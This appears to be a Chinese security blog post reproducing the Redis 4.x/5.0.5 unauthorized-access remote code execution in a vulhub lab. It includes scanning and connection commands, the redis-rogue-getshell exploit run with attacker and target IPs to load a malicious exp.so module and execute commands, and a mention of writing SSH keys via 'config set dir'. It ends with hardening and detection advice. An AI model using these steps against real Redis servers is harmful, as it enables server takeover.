Redis未授权访问漏洞复现

#Redis未授权访问漏洞#

一、漏洞简介

redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。

Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

二、漏洞影响

影响版本

Redis 4.x/5.0.5以前版本

三、产生原因

在Redis4.X之后,通过对外部进行拓展,可以实现在redis中实现一个新的Redis命令,通过C语言并且编译出.so文件,在Redis的通信中并知识明文的表达方式,中间参杂了许多的混杂的内容,例如输入命令

get christa

其抓到的内容为

在这里插入图片描述

该传输格式借用成员Pavel Toporkov的图来看可以分为三大块

在这里插入图片描述

*<number> : 参数的个数

$<number>:参数的长度

<parameter>:参数

因此,其返回的包也是一个道理

在这里插入图片描述

在这里插入图片描述

因为Redis主要是基于TCP进行连接,因此我们可以借助主从模式的特性发送一个基于从模式的命令流,向攻击机发送一个命令流slave的命令流,然后攻击机伪造成一个主从的机器向目标机器发送Redis的特定的数据流将恶意文件exp.so保存到当地文件文件上面,在通过module加载该so文件,之后取消主从模式,将当前的命令模块保存到本地并以.rdb后缀命名,最终使用命令system.exec 执行命令。

四、复现过程

docker 靶机:192.168.111.137

攻击机 kali:192.168.111.139

靶场环境:redis:4.0.14

docker搭建靶场环境

docker-compose up -d
docker-compose ps

在这里插入图片描述

可以看到redis启动在6379端口

攻击机安装redis,依次执行以下命令

wget http://download.redis.io/releases/redis-2.8.12.tar.gz 
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h

出现帮助信息,安装成功

在这里插入图片描述

nmap扫描靶机

nmap -sV --open -p- 192.168.111.137

在这里插入图片描述

发现6379端口开启

用攻击机redis连接目标机redis

cd redis-2.8.12/src/
./redis-cli -h 192.168.111.137

连接成功,info查看信息

在这里插入图片描述

下载exp

git clone https://github.com/vulhub/redis-rogue-getshell.git

进入该目录下

cd redis-rogue-getshell/RedisModulesSDK/exp
make //在当前目录下生成一个exp.so文件

回到redis-rogue-getshell目录下,利用EXP

./redis-master.py -r 192.168.111.137 -p 6379 -L 192.168.111.139 -P 1111 -f RedisModulesSDK/exp/exp.so -c "id"  //第一个ip是靶机,第二个ip是攻击机

利用成功

在这里插入图片描述

由于实验环境为vulhub,只能通过该exp来getshell,如果想通过写文件、ssh key或定时计划来getshell,会提示没有权限。可参考以下文章自行搭建环境进行复现。

https://www.cnblogs.com/Xy–1/p/12230858.html

https://blog.csdn.net/Jiajiajiang_/article/details/81368212

五、修复方案

  1. 禁止绑定公网(本地缓存)

    redis.conf: bind 127.0.0.1 //redis本来就是作为内存数据库,只要监听在本机即可

  2. 密码验证

    配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中

  3. 降权运行

    禁止使用 root 权限启动 redis 服务

     vim /etc/redis/redis.conf
     # By default Redis does not run as a daemon. Use 'yes' if you need it.
     # Note that Redis will write a pid file in /var/run/redis.pid when daemonized.
     daemonize yes
    

    在降权(deamon)模式下,更改配置文件路径是不允许的,即"config set dir /root/.ssh/"执行失败,从而避免了写任意文件的风险

  4. 其他

    • 限定可以连接Redis服务器的IP
    • 修改Redis默认端口6379
    • 配置rename-command配置项"RENAME_CONFIG",这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度
  5. 禁止从redis写入主模式redis传输的文件

     slave-read-only yes
    
  6. 自动化检测方案

    1. 从running进程redis-server中获取启动参数中的配置文件路径。如果获取失败则从默认路径: /etc/redis/redis.conf

    2. 检查配置key-value对

       daemonize yes
       bind 127.0.0.1 
      

六、参考链接

Redis 4.x/5.x RCE浅析

redis未授权复现-vulhub-exp

Redis未授权访问漏洞分析

标签

CVE-2017-18349、FastJson、反序列化、命令执行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值